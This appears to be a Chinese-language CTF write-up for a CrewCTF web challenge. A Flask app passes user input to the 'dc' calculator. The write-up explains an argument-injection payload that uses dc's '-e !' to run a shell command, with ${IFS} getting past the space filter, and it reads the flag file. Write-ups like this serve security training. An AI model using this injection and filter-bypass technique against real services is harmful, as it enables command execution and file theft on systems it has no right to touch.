0%

CrewCTF

WEB

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#main.py
import os
import sqlite3
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')
def index():
sequence = request.args.get('sequence', None)
if sequence is None:
return render_template('index.html')

script_file = os.path.basename(sequence + '.dc') #构造脚本名,将sequence和.dc字符串连接起来,并获取路径中的文件名部分。
if ' ' in script_file or 'flag' in script_file:
return ':('

proc = subprocess.run( #运行dc命令
['dc', script_file],
capture_output=True,
text=True,
timeout=1,
)
output = proc.stdout

return render_template('index.html', output=output)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

1
2
3
4
5
6
7
8
subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None)

args:表示要执行的命令。必须是一个字符串,字符串参数列表。
stdin、stdout 和 stderr:子进程的标准输入、输出和错误。其值可以是 subprocess.PIPE、subprocess.DEVNULL、一个已经存在的文件描述符、已经打开的文件对象或者 None。subprocess.PIPE 表示为子进程创建新的管道。subprocess.DEVNULL 表示使用 os.devnull。默认使用的是 None,表示什么都不做。另外,stderr 可以合并到 stdout 里一起输出。
timeout:设置命令超时时间。如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired 异常。
check:如果该参数设置为 True,并且进程退出状态码不是 0,则弹 出 CalledProcessError 异常。
encoding: 如果指定了该参数,则 stdin、stdout 和 stderr 可以接收字符串数据,并以该编码方式编码。否则只接收 bytes 类型的数据。
shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。

subprocess.run()shell没等于TRUE但是容易受到参数的影响

在kali里用man命令看dc的文档

-e!可以执行命令,空格被过滤了,用其他符号绕过,在最后需要加上%0a表示输入了ENTER

payload:?sequence=-e${IFS}!cat${IFS}*.txt%0A

得到flag:crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}

放到kali里用dc命令转换为真实的flag